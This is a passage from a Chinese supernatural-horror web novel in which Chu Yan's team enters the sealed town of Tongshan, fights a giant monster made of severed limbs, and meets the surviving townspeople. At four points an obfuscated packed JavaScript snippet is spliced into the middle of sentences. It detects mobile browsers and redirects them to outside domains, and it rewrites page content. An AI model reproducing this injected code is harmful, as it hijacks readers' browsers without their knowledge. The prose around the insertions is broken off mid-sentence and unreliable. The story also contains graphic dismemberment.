褚颜对霍医生的认知又加深了一层。他本以为霍医生只对人类的病症有研究,没想到异端生发的情况他也有办法。 “那个委托,你觉得我该不该接?”他又问。 霍医生却把问题抛了回来:“你想去吗?” 褚颜抿了抿唇,半晌,给出了自己的答复:“我觉得我需要这笔钱,但是如果为了赚钱把自己搭进去,还是有点得不偿失。” “不用过于害怕,至少你现在跟我交流还是很清醒的。在吸收掉那个‘源’后,你的身体有出现什么变化吗?”霍医生问。 褚颜想了想,打字道:“有。我的右手变得更加有力,每当我集中意念时,都能感到有能量在指尖流动。但是这力量发不出来,也无法实体化。” 片刻后,霍医生给出了自己的猜测:“你的异能也许属于精神控制系,下次在遇上异端或异化的人类时,你可以尝试用这股力量控制它们。” “好的。”那就能解释自己为什么能免疫那些幻象了。褚颜点点头,结束了对话。 霍医生的鼓励,让他决定接下这个任务。 除了赚钱以外,他也想搞清楚梦中那段对话,和那场逃亡的缘由。 他觉得随着自己能力的增强,这个问题的答案也会慢慢揭晓的。 出了医院后,他先找了个就近的ATM机,把那三千块钱存了进去。 ——霍医生给他办□□之余,也给他准备了配套的银行卡。毕竟现在电子支付才是王道。 他先给霍医生转了一千,又给盈盈转了一千,剩下的才是自己的。 因为不清楚女儿现在是在治疗还是在睡觉,他把最近发生的事情,用最简单的语言表述道:“盈盈,爹地的生活发生了一些变化。我暂时还不清楚这到底是好是坏,但我有在为我们的未来努力。” 发完信息后,他听见“嘀嗒”一声,是霍医生的信息。 他退还了那一千块,并附言道:“你自己留着,或者给盈盈。如果需要缴费,她会给我的。” 褚颜不知道他为什么要绕这么大一个圈子,但到底还是选择了听从。 打定主意后,褚颜和酒店方取得了联系。 三天后,他成功到达了指定地点。 和他一起同行的还有四个人,分别是穿黑色制服的雇佣兵秦契,他也是这次行动的队长,穿长袍戴十字架的神父拉维欧,背药箱的女医生戴雅,还有身强力壮的司机郝成。 他们的交通工具是一辆7座越野车,空间很大,足够他们或坐或躺,后备箱里还有帐篷和一应物资。 “进镇以后,地形复杂,车子不一定管用。如非必要,尽量不要去碰那里的食物和水,以防不测。”队长一边开车,一边叮嘱。他和郝成会轮流充当这趟旅程的司机。 褚颜没有多言,利落地找好自己的位置,躺下休憩。除了几件换洗衣物外,他只带了那本《救世主保命守则》。 为加强队伍的默契程度,在行进途中,几人也会偶尔进行交流,增进理解。 平稳行进的途中,褚颜听见车载广播里传来对“铜山镇”的介绍。 “铜山镇,地处于徐川市东南,是远近闻名的富裕镇。建国初,镇民们就靠得天独厚的矿产成功致富,但随着开发的加剧,很快铜矿资源就陷入了枯竭。不过随着改革东风的到来,铜山镇的镇民们大批量地外出经商,带来了源源不断的财富。” “在四年前,铜山镇突然与外界断了来往,整个镇子也陷入封闭状态。官方也对该镇进行了探查,但很快退出并封锁了镇子,至今原因不明。” 四年前?褚颜注意到这个时间节点。这和金少爷失踪的时间不谋而合。 经过两天一夜的行进,小队成功抵达了铜山镇边界。 一幢高高的门楼矗立在马路上方,楼柱上用金漆镌刻着合资捐助者的姓名。 厚重的铁丝网和警戒标志横亘在前方,挡住了他们的去路。 因为障碍物很多,几人不得不一起下车,开始清路。 褚颜留意到,路边有不少生锈的废弃的铁丝网,似乎在他们之前,已经有不少人来过了。 杂物虽多且重,但人多力量大,尤其秦队和郝成都身强力壮,很快便搬出一条通路来。 褚颜和女医生、神父一起在路边等待,等着等着,他突然感到有冰凉的雨水滴落脸颊。 但那质感又很奇怪。他抬头一看,看到一坨黑影从门楼上掉了下来,正挂在他们面前。 神父吓得一屁股瘫在了地上,原来那是一具被剥了皮的尸体,呈倒吊的姿势,落在他们眼里的正是尸体暴突的双眼,和满是猩红肌肉的脸庞。 队长闻声而来,掏出枪警惕地对准了尸体,似乎是在怕它突然变异。 但紧接着,他像是发现了什么,收回枪支,面色发沉地召来司机,随后爬了上去。 不多时,两人已经合力将尸体解了下来。 女医戴雅在旁边看了半天,似乎明白了什么,低声道:“那是队长最好的兄弟,他的后脑有块钢板,是当兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533379|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时帮队长挡弹片导致的。他们比我们早一批进来……” 而现在,他已经成了一具尸体。 而且看此情形,估计那个小队已经全军覆没了,不然不至于连个收尸的人都没有。 褚颜沉默着,从这番话里总结出了两个信息。 一,在他们之前也有小队来过,但在无人返回的情况下,金先生又派了他们过来。这不排除金先生救子心切,或是有让他们顺路查探的打算在。 二,这个异端很危险,需要慎重对待。 他们现在还得继续往前走,不能回返。队长和司机在门楼外的路边挖了个浅坑,将尸体草草掩埋,又给金老板打了个电话,告知具体方位。 相信不久后就会有人过来善后,将这具尸体运回去了。 见到好兄弟的尸体后,队长上车后一直窝在副驾驶睡觉,神色恹恹,不发一言。 司机继续往前开着,没走出多远,就有细碎的雨点打在了车窗上。 褚颜就坐在窗边,下意识想到,刚刚进来时,外面还是常见的冬日的干燥天气,怎么突然就下起雨来了? 陡然间,司机一个急刹,惊得众人都坐了起来。 只见车灯照耀处,路的两旁出现了无数张女人的脸孔。她们清一色裹着白色的袍子,头发直垂到胸口,咧着嘴做出古怪的表情,在冲着他们笑。 “是不干净的东西。”神父拉维欧坐直身体,从胸口掏出十字架,高高举起,开始吟唱。 “请赐予他们永恒的休息吧,主啊, 并愿光明永久地撒在他们身上。 请垂听我的祷告吧, 所有的血肉都终将回归于您。 请赐予他们永恒的休息吧,主啊, 并愿光明永久地撒在他们身上。” 比起尸体,他似乎更不怕幽魂一些,毕竟这是他的专业领域。 他讲的是一种繁复古早的语言,像古英语,或是拉丁语。褚颜听不明白,只能勉强猜测。 怨魂们渐渐散去,取而代之的是一座座荒坟。没有墓碑和彩幡,只有被雨水冲得湿润的泥土,在诉说着一个又一个的故事。 车子重新开始启动,沿着漆黑无光的前路行进。 褚颜看着看着,突然想起一件事来。 在1313号房间里的时候,胡克能看到幻象,而自己是免疫幻象的。可为什么自己能看到那些魂魄? 难道说,是某种神秘的力量,让它们拥有了一定实体? 他的疑惑自然无人解答。 又走了大致十几分钟,城镇便慢慢呈现在眼前。这一路上虽然也有零星的房屋,却都黑漆漆的没有灯,看起来煞为恐怖,仿佛某种暗中窥伺的眼。 但到了镇上却大不相同,这里房屋齐整,制式统一,还有商场和学校,和大城市的某些商业区也相差不大。 路灯却还亮着,但也只能照出一小片一小片的斑驳区域,不成体系。 突然,褚颜察觉到了某种灼热的视线。 他扭头一看,看到商铺上方的窗户里,坐着一道又一道漆黑的影子。 9. 第九章 人彘 “不要去看那些东西。”沉默了一路的队长突然开口:“它们不一定是人。” “盯得久了,就要被缠上了。” 褚颜立刻收回了目光。 因为不清楚路况,原本他们的打算是,先开着车子在镇子里转一圈,摸清楚大致路线。可在来时还行进无疑的车子,才走了没多远就抛锚了。 司机率先下车,打开引擎盖检查线路。 队长也尝试着扭动钥匙,重新点火。 两边配合下,车子依然毫无动静。 就在两人忙活之际,司机突然被一双断手捂住双眼,往后一带,狠狠摔在了地上。 断手用力抠住司机的眼睛,就要把他的双眼挖去。 黑暗中,更多的断手断脚爬了出来,齐齐堆到他的身上,猛力撕扯他的四肢。 司机瞬间发动了异能,他的躯体陡然变得如巨人般粗壮,身高也拔高到两三米,他抓住那些断肢一把捏碎,像扔垃圾一样扔到了一边。 而这时,迷蒙的细雨中,突然传来沉闷的低吼声。 那似乎是从咽喉里直接发出的声音,从四面八方而来,呈包围之势。 随着怪物在细雨中慢慢显露身形,众人才终于看清它们的样子。 那是一张张五官残缺的脸——眼睛处只剩两个凹陷的黑洞,舌头奇长,四肢着地,没有小臂与小腿,长着一副类人的身躯。 不,那就是人,那是一个个被砍断四肢的人彘! 一个,两个……十几二十个,数不胜数。 队长似乎意识到了什么,猛地打开车门,疾呼道:“快回来!” 却为时已晚。 一只怪物猛地对着司机扑了过去,一瞬间融入了他的身体。下一刻,只见司机浑身抽搐着,肢体连接处迸射出鲜血,随后四肢“哐当”一声掉了下来。 而他的眼睛、鼻子、耳朵,也咕噜噜地掉到了地上。 怪物们争先恐后地涌过去,有的抢走了手,有的抢走了脚,忙不迭地装到自己的身上。 寄生的怪物瞬间脱离司机的身体,拿走了本属于他的眼睛,塞进了自己黑乎乎的眼眶里。 所有人都被这变故吓了一跳。 戴雅脸色一变,打开车窗,从手臂处延伸出柔软的青色藤蔓,就要从怪物堆中夺回司机的残躯。 可还不等她够到,司机的尸体就溶解成了一摊碎肉。 一个活生生的人就这样死在了他们面前。 队长操纵车辆,关上门窗,沉声道:“先离开这里。拉维欧!” 神父点点头,又一次举起十字架,念出了另一段咒语:“至高至上伟大的主,洞察一切全能的神, 日与月的掌控者,风与电的主宰, 当你权杖高举,在空气里散布霹雳与雷霆, 我祈求你,露水为衣,清风做气的神, 请赐予你虔诚的信徒,一份属于风的力量吧!” 霎时间,整个车子被一股凭空出现的狂风环绕,摇摇晃晃地腾空而起。 然而还不等它离开,整片区域仿佛被一股更大的力量笼罩,狂风瞬间消弭无形,车子也重重地落回地面。 一条硕大的尾巴猛然从天空中砸下,直奔车身而来。 “躲!”队长一声喝令,所有人都推开车门滚了出来。 巨大的破坏声中,车子被拍成了一摊废铁。 褚颜堪堪稳定身形,抬起头时,只看到了一个庞大如山的身影。 那是一个由断手断脚堆积成的怪物,砌在顶端的是密密麻麻的耳朵、鼻子和眼睛。 它的眼睛齐齐转向众人的瞬间,所有人的四肢都开始变得僵硬,不听使唤,甚至开始自动迈步,朝着人彘怪物的包围圈里走去。 虽然身体在动,但好在舌头还能自主行动,神父当即高呼道:“神说,会有光! 地是空虚混沌,渊面黑暗;神灵运行于水上。 光暗永分,明为昼,暗为夜。 圣光净化污秽,驱魔!” 炽热的光芒从他的身体里发出,让周围怪物的动作都陷入了停滞。 但这一路上他已三次使用魔法,能量早被消耗得七七八八,那点光芒也很快暗淡下去,如同昏暗的萤火。 巨型怪物将目光投射到神父身上,碎骨从躯干中涌现,在它手中聚集成一把长枪,带着破风声,以不可阻挡之势洞穿了神父的胸膛。 于是那点暗淡的光芒也霎时熄灭,人彘怪物们又开始行动起来 队长和戴雅,也因巨型怪物的这次出手,短暂重掌了身体的控制权。他们一个双手按于地面,延伸出无数青色的藤蔓,刺穿人彘怪物的躯体。 一个迅速逼近巨型怪物,持枪对着它射去。子弹在空中分裂,齐齐轰在怪物庞大的身躯上,烧出了粘稠的黑色液体——显然,这是附带了“燃烧”效果的子弹。 然而,巨型怪物不过手一动,那些人彘怪物又重新复活,野狗一般对着两人扑了起来。 它们没有手脚,可那舌头却能延绵十几米,不断滴落着腐蚀性的液体,一旦沾染就瞬间烧没一块皮。 最诡异的还是它们的附身能力,司机郝成的死就是最鲜明的例子。 戴雅几个闪进出现在神父身边,将他从长矛上救了下来,顺手给他加了个治愈魔法。 神父还活着,那一枪没有击中要害,但身体的贯穿伤让他失去了战斗能力。 戴雅用藤蔓将他层层包裹,推到了离战场较远的地方——虽然这不能完全保障他的安全,毕竟人彘怪物如影随形,但最起码可以拖延一阵。 没人知道褚颜去了哪里。或许他是被这阵仗吓到躲起来了,或许是落入了新的包围圈。 他们显然也没指望这新来的队友发挥太大的作用,队长和戴雅对视一眼,齐齐朝着巨型怪物的方向奔去。 他们都看出来了,巨型怪物是人彘怪物的首领,它能无限复活那些小怪,要想逃出危局,就得先解决掉它。 可小怪的技能他们已经领略了一二,这巨型怪物的呢? 还没凑到近前,他们便感到身体猛地一沉,仿佛体重翻了好几倍。不,应该是此地重力加了倍。 这是“重力控制”,和迫降汽车时用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533380|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方法一样。 不假思索,巨型怪物脚边绿色藤蔓再起,蔓延盘旋,一面缠绕,一面长出尖刺扎进它的躯干中。 队长也在同一时间举起双手,对着怪物的头部、胸部连开数枪。每一次开枪都会抽去他部分力量,但效果不错,散弹带着炽热的火焰在它躯体上迅速燃烧。 断肢开始溶解,泥土一般往下掉落。 这显然激怒了怪物,它右手再动,队长和戴雅身上忽然多了十数只不同来源的断手断脚。 “咔嚓!”队长拿枪的手被生生掰断。 紧接着是戴雅的右腿。 一个长条形的庞大黑影带着无可匹敌的力度从高空落下,正是怪物由断肢碎肉组成的尾巴。 眼看两人就要像汽车一样被拍成碎片,一道身影突然悄无声息地落了下来。 正是褚颜。 他不知什么时候绕到了怪物的后方,蛰伏在暗处。 随着怪物一个抬尾,他也顺势挂到了上面,又在最高点处松手,跳到了怪物的脊背上。 怪物背上的断肢霎时“活”了起来,拼命抓挠着,想要阻止他的步伐。 可奇怪的是,所有肢体在即将碰到他的瞬间,都乍然停了下来,仿佛进入了某种僵直状态。 入眼处尽是断臂残肢,仿佛从人间掉落到了万人坑。褚颜只觉得一阵一阵地反胃,不断干呕,却还是强打精神,往上跑去,似乎早有目标。 在队长两人满心无望、无奈等死时,只听“嘭”地一声枪响。 褚颜用从车上顺下来的枪支,射出了第一枚子弹。后坐力让他微微后仰,虎口也被震得发麻。 可他没有停下,再一次扣动扳机,瞄准了其中一只“右手”。 那是它的核心,也是它的弱点。 怪物痛苦地抖擞起来,放弃了近在咫尺的猎物,反转尾巴来抽他。 它的眼睛也齐齐转向,于是背面也成了正面。 无数断骨从躯干中抽离,上浮,如密密麻麻的剑雨一般,对着那渺小的、可恶的人类激射出去。 褚颜神色不变,甚至看都没看那骨刺一眼,只是开了一枪又一枪,直到把弹匣打空。 ——这只是普通的枪支,普通的子弹,不会消耗他的能量。 断骨已经近在咫尺,而他不过将手伸进口袋,摸出了一把新的子弹,上膛。 很奇怪,他明明没有学过装弹和用枪,但这就像某种肌肉记忆一般,拿上的瞬间,就会了。 骨刺触及了他的眉毛,却像遇到太阳的雪一样慢慢融化了。 漫天的骨刺也一个接一个,失控地往下掉落,仿佛真成了一场白色的雨。 褚颜继续瞄准,开枪。 打完最后一枚子弹的时候,他只觉落脚地传来山崩般的触感。 巨型怪物的身体开始分崩离析,残肢断臂零落成泥。 人彘怪物们失去主心骨,惨嚎低吼着开始消散。 地面扬起厚厚的烟尘,所有的一切都在快速下坠。 褚颜试图抓住点什么稳定身形,但入目处只有不断溶解溃散的残肢。 10. 第十章 谨慎! 一切都在消散,唯有之前挨了他两匣子弹的断手和他一起下落。落到一定程度,又仿佛有某种力量托住了他们一般,让他们安稳落了地。 巨型怪物消散的地方,慢慢凝出一团赤红色的胶状物,悠悠地向他飘来。 它似乎被褚颜吸引,想要融进他的身体。 但褚颜想起霍医生说过的,颜色代表类型,吸收不同类型会加剧污染的话,讪讪地往后退了退。 如果能自动分类,筛选出自己需要的就好了。他刚冒出这个念头,就看到面前的胶状物慢慢分解,凝成了大小不一、颜色各异的光团。 而一些无法分类的、奇特诡异的色块,一经剥离就迫不及待向他扑来,却被阻隔在他皮肤之外,只能被迫遁逃,或瞬间消弭。 其中黑色的那团继续朝他靠近,颇为人性化地扭了扭。 褚颜霎时间生出了某种错觉:它在试图“讨好”自己。 半是犹豫半是尝试,他伸出了手。 黑色光团轻轻触碰他的指尖,而后像水一般无声无息地融了进去。而在这个过程中,他并没有感到丝毫不适。 剩下的那些,有红有棕。他没有擅做处置,只是将目光投向脚下那条断臂——下意识地,他觉得它另有用处。 但之前司机的死还历历在目,他先是弯下腰查看了一番,又用枪托戳了戳,确认这只是一截普通的、丧失了魔法效力的“右手”后,才将它捡了起来。 这时,烟尘之后,队长和戴雅也相互搀扶着走了过来。 看到毫发无损的褚颜,他们脸上都显出诧异的神色。待看到他手上的断臂,和地上那两块胶状物时,他们的表情就变成了惊恐。 “你把‘源’分开了?”队长的声音已然失了一贯的冷静。 “源”有不同的类型,任何异能者都只能取其一。一旦吸收过杂,就会导致异变,丧失理智。 外来异端析出的“源”,除了污染不太重的,可以冒险吸收外,其他的都要经过像“古神的赐福”之类的程序的处理,才能使用。 可现在,他不仅杀了怪物,还把“源”分开了?他……是人吗? “不算吧,我好像也没做什么……”褚颜试图解释,却感觉无论什么解释都有些苍白,只能闭嘴。 在短暂的错愕后,队长迅速冷静下来,对褚颜道:“不要把这件事告诉任何人。如果你不想被当成怪物抓起来研究的话。” 一个能驱除污染,让“源”回归本质的异能者,这绝对会成为各方势力争抢的对象——或者说,工具。 他瞥了一眼戴雅,戴雅立刻会意,发誓道:“我会守口如瓶。” 褚颜没想到事情会这么严重,想了想,还是点下了头,道:“我知道了。” 说完,他指着那两块道:“你们要吗?这里没有适合我的。”适合的已经被他吸收完了。 队长拾起了那枚红色的,却只是装进匣子里,没有立刻吸收——毕竟谁也不能保证这块“源”纯净无暇,没有污染。 棕色的无人认领,戴雅摊了摊手,道:“我是医生,它不合我的属性。” 见褚颜犯愁,她给出建议:“其实,你可以让它跟某种物品结合,一旦它足够纯粹,就可以催生出一件具有神奇力量的超凡物品。反之则会造就新的异端。当然,你也可以拿去黑市卖掉,换取现金。” 褚颜想,虽然自己很想要钱,但是黑市这种东西……摸得着么?自己一个遵纪守法的良民,可别被别人生吞活剥了。 不如选前一种方法,听起来还挺有意思的。 褚颜想了想,拿出了那把手枪。 棕色的“源”慢慢融入到枪管中,枪身也显然变沉了许多。在握上枪把的那一瞬间,它的功效也浮现在褚颜脑中。 【超凡物品:重力手枪】 【物品描述:可锁定目标,加大目标所在区域的重力,造成减缓效果。 【使用规则:1.一日内最多只能使用三次,否则会出现相应的负面效果,如突然性的感冒、跌倒等。 2.对目标造成的负面效果的持续时间,会根据目标等级的提升而相应减弱。】 褚颜看完介绍,略微有点失望。毕竟这和他的能力有点重合——让怪物静止不动,他自己就会——虽然他并不清楚自身异能的使用条件,但管用就够了。 “好像对我没什么用处,这样是不是不能卖了?”他问。 戴雅:“能。超凡物品也是黑市上的紧俏货。” 那就好那就好,差点损失一个亿。褚颜暗自庆幸。 戴雅:“神父也许用的上,你可以问他要不要。” 话说到这里,三人也终于想起被他们扔在一旁的队友,连忙跑过去看他。 幸运的是,神父还活着。 后来巨型怪物专心致志对付他们几人,人彘怪物也掉转了方向,这才让他远离了危险区域。 戴雅解开缠绕的藤蔓,给他做进一步的治疗。 队长被折断的手,也一起治了。毕竟他可是队伍的主力。 褚颜在旁边帮不上忙,便索性左顾右盼,帮着观察下情况。 这里的一切都是陌生的,漆黑恐怖,不辨五指。褚颜不知道下一步该怎么走,便想着打开《守则》看一看。 不过现在人多眼杂,也不方便。 在戴雅的治疗魔法下,三人的伤势都好了许多。除了戴雅和神父有力量耗空后的疲惫外,其他都还行。 得知褚颜获得了新的超凡物品——虽然并不知道具体来历,但神父还是来了兴致。 “能卖给我吗?”他一个辅助系,非常脆皮,就需要往身上多堆点保命的东西,才能安安稳稳闯关。 “可以。”褚颜点头,拿出那把枪。 神父试了试,不需发动就已经获知它的功效,当即问道:“多少钱能出?” 褚颜:“你看着给。”毕竟枪也是车里拿的,“源”也是地上捡的,等于白拿。 神父试着说了个价格:“一万?” “可以。”褚颜点头。这都抵得上金先生给他的定金了。 队长扶额。心想,这家伙还是一点都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600364|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道行情啊。这枪拿到外面卖,起码能翻一倍。 不过想到这本是金先生给他们这次任务的配枪,算不上什么成本,他也就没说话了。 “转账。”褚颜连忙掏出收款码。 能一口价买下,神父也高兴,当即付了款。但他也不忘念叨两句:“我还能赖你账?” 褚颜:“嘻嘻。”倒不是怕你赖账,就是怕你突然出什么意外。 他没把心里话说出口,怕得罪人。 看这边事了了,队长建议道:“贺……贺兰,要是没什么事的话,你跟我一起搜集下物资吧。” 知道褚颜一个人干掉巨型怪物后,队长的态度都客气了不少——虽然他之前也很负责。 “诶,好的。”褚颜刚收了巨款,当然不会多说什么。“对了,队长,这个怎么处理?”他晃了晃那截断臂。 队长凝神看向那截残肢,似乎有些畏惧。 但他最后什么也没说,只是递过来一个四四方方的收容匣,上面附有绑带和卡扣,可以扣在腰带上。 “你拿着吧。既然它选择了你,想必就不会伤害你。” 这话说的,也太古怪了。褚颜在心里嘀咕,却还是老老实实把它装进收容匣里,挂在了腰上。 和一块人类肢体同行,这事由不得细想,越想越渗人。 两人一个在左,一个在右,开始对车子进行搜索。 可怜这越野车,来时还威风凛凛无比气派,现在就成了一堆破铜烂铁。褚颜心中惋惜,活像自己损失了几十万。 怪物的尾巴全是由残肢断臂组成的,谁也不知道有没有什么传染病。 他们的食物和水都在车上,也不知道能救下多少。 褚颜遇事不决,直接掏出《救世主保命守则》,看它会不会有什么关于食物的启示。 第三页没有冒出新的条文,但褚颜愕然发现,第一页的内容发生了变化。 那里写的本来是:“迟钝!不可窥探未知。” 现在却变成了:“第一条:谨慎! 不可轻易窥探未知!” 这就有意思了。毕竟褚颜本以为这里的条款是墨守成规的玩意,必须一板一眼地执行。没想到它竟然还会变。 但他结合自己最近的种种遭遇,突然有了一点猜测。 如果他只想当个普通人,那“迟钝”确实有好处。毕竟越是刨根问底,越是可能陷入危险,被异端污染。 迟钝一点的话,只需要不管不顾,绕道走开,就可以了。 就像胡克说的,直面危险,san值就会降低,人会变得疯狂失控,不再正常。就像他异化时那样。 可因为女儿的医药费,因为融入他身体的“源”,因为想弄清楚逃亡之梦的由来,他还是走入了异能者的世界,开始尝试对抗这些异常。 一旦选择发生变化,那旧的条款就不再适用,必须出台新的,才能确保他的安全。 而和异端面对面,生死只在瞬息之间。“迟钝”会变成致命弱点,唯有“谨慎”,才能谋得更多生机。 11. 第十一章 邪神的肢体 谨慎思考局势,谨慎出手,谨慎使用自身能力。毕竟在自己看来很正常的事,对别人来说可能很不寻常。 而下面那句注释,也从“不可窥探”变成了“不可轻易窥探”。 难道它的意思是,在准备充分的情况下,可以试试? 虽然自己对那些恐怖生物没兴趣,但是还是记下吧,要是哪天真遇上了呢。 他嘿嘿两声,把《救世主保命守则》塞回胸口,接着弯腰去车里寻觅。 避开怪物直接攻击的区域,从边边角角里,他们还是搜了些东西出来。 只是饮用水已经不多,仅供三天使用。食物倒是没什么大碍,大都包装完好。 至于衣服、装备什么的,也将没弄脏的仔细清点好,物归原主。 车子报了废,接下来的一路便只能步行。 但在这下着微雨的夜,黑暗总让人感到一种莫名的恐惧。 队长拿着专用的野外探照灯,这灯功率极大,在平时能将黑夜照成白昼,到这里却像被细雨阻隔了一般,只能照亮三五米外的区域。 褚颜换了身没被雨打湿的衣服,给旁边的女士撑着伞,亦步亦趋地跟在队长身后。 沿着主路往前走了不知多远,黑暗中突然传来“哒、哒、哒”的脚步声,众人一时都将心提到了嗓子眼,齐齐后退了一步。 但那却不是怪物,而是一个拿着手电筒的男人——那灯像是从某个客厅里摘下来的,里面烧着某种油脂,正在风里颤颤巍巍地燃烧。 这人看上去年过半百,身材有些发福,头发秃了大半,没有什么异化现象。 但他看向众人的眼神里,却充满了打量、狐疑,和戒备:“居然还活着,你们没有碰上那群怪物吗?” 同一时间,四人也在打量着他。 他们进来这么久,见过幽灵,见过怪物,就是没见过活人。 而面前这个男人,明显有着人的特征。 但铜山镇已经封闭四年,不与外界通来往,还有怪物作祟,连异能者都无法脱身,他们又是怎么活下来的? “你是什么人?”队长持枪在手,警惕问道。 “我是这里的引路人。”地中海大叔提高灯笼,道:“专门给你们这群外来者,和找不到家的笨蛋引路的。” 看他对谈自如,思路清晰,不像怪物。可因为这个世界太过扭曲,常常有异端活化骗人的现象发生,所以众人一时也不敢妄下定论。 “我已经接待过很多批像你们这样的人了。”地中海大叔道:“前面就是我们的哨岗,过去休息会吧。当然,你们也可以选择继续留在这……但一夜过后,你们还能不能活着,就不一定了。” 听他说得这样严重,众人一时都有些打怵。 大家你看看我,我看看你,小声交谈着。 神父说:“他好像不是鬼,没有幽魂的特质。” “也不是异端。”戴雅补充道:“不然我的小树苗会有感应。” 褚颜没有发表意见。 看众人基本已经有了决断,且现在又没有别的去处,队长收好枪,给出结论道:“可以去,但要保持警惕,一有不对劲,立刻动手。” “好。”众人齐齐点头。 跟着大叔走了约莫一两百米,就到了他口中的哨岗。 那是一间装修还算华丽的房子,门口贴了很多符纸,地上还撒了很多不知道是什么动物的血,黑乎乎的,结了一层又一层。 还未进门,就看见门庭处立着一人高的关公像、钟馗像,一个是代表正义的武财神,最善制煞镇妖除鬼魅,一个是道教“鬼王”,专司打鬼驱邪。 看来这屋子附近,也不甚太平啊。褚颜想。 等走进院子,眼前蓦然浮现一排排伫立的白影,骇得他背后汗毛立刻就竖了起来。 可定睛一看,才发现那既不是人,也不是鬼,而是十几个纸扎人,做着郎官打扮,等身比例,煞白的脸上涂着红彤彤的胭脂,两团黑乎乎的眼睛就这样直愣愣地看着他们。 纸人身上贴着黄符,上面用朱砂写着人名,一张连着一张,仿佛生死簿上撕下来的残页。 其余几人显然也看到了这些纸人,但反应各异。 房间里居然亮着灯,等他们走进去,才发现那是连在充电宝上的一盏小台灯,虽然功率不大,却已足够照亮一方区域。 门的旁边立着两个人高马大的汉子,手里端着猎枪,一左一右护卫在那里,面上满是警惕。 而台灯左手边,茶几的正首位上,是一个头发半白的男子,着一身黑色唐装。 “这是镇长,唐润秋先生。”引他们来的地中海大叔介绍道,又指着他们说:“这是新一批外来者。” “你们好。”唐镇长跟他们打招呼,又指着一旁的椅子,道:“请坐吧。” 其余几人都落了座,但队长显然有话要说。 “你见过我们之前的队员?”队长问。 既然他是一镇之长,又在镇中活了四年,想必对这个镇子的情况足够了解,可以解答他们的诸多疑惑。 “见过。他们也跟你们一样,是来找人的。”镇长说。 “他们人呢?”队长道。 “死了,都死了。有的死在那个残肢怪物手里,有的死在之前的怪物手里——旧的怪物被杀死,新的就会补上来,永无止境。”镇长说。“这个镇子,被诅咒了。” 虽然早知此行凶险,但得知所有先行者无一生还,众人还是在心里叹了口气。 “第二个问题。”队长缓了缓,问:“你有没有见过金少爷?金晏初。” 先行者来了一批又一批,必然有人向他打听过金少爷的下落,所以队长连照片都没拿,就直接问了。 “见过。”镇长似乎想到了什么,眉目深锁,拿起旁边的烟斗,用打火机点燃。 烟雾很快弥散在房中,他深吸一口,缓缓道:“四年前,他被带到了这里,或者说,绑架。” “绑他来的是我们镇上一个有名的泼皮无赖——那个人打小就不学无术,吃喝嫖赌,初中读完后就去混社会,没多久就堕落成性,拜了大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612596|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “四年前,他的大哥犯了错,收不了尾,一群小弟都作鸟兽散。就是那个时候,他把这个年轻人带回来的。” “起初,他只是把他关在屋子里,没人知道。后来泼皮急匆匆出去,再也没有回来。有人说他给老大当了替罪羊,也有人说被人杀了。总之没了消息。” “镇子里的人把这个姓金的少爷放出来,他也没走,就在镇子里混口吃的度日。” “直到四年前的那一场祭祖……镇上上万人都聚集在这里,杀鸡宰羊,载歌载舞。正在我们欢欣雀跃之时,无边的雾气从矿山弥漫过来,吞并了整个镇子。” “无数人当场暴死、失踪,活着的人也相继发疯、失控。从那以后,镇子里的人再也出不去,外面的人也进不来,通讯失联,水电断绝。” “黑暗接管了整个镇子,怪物、幽灵,开始在各个角落频繁出现。我们不得不在夹缝中苟延残喘,直到今日。” “后来呢?”褚颜问:“金少爷还活着吗?” “活着,却也差不多死了。”镇长用手拧了拧眉头,吐出石破天惊的话语:“他落在了那个邪神手里。” 邪神?除了不明状况的褚颜,其余几人俱是心头一震。 在这个被混乱扭曲的世界,邪神这个词汇,就代表着绝对的力量、绝对的恐惧,和无尽的未知。 “不只是他,还有很多人……都被邪神抓走了。我们不敢在外面太久逗留,但是据你们之前的同伴说,他在老坟地和湖心岛那一带出现过,但他究竟是人,还是怪物呢,没人知道。” 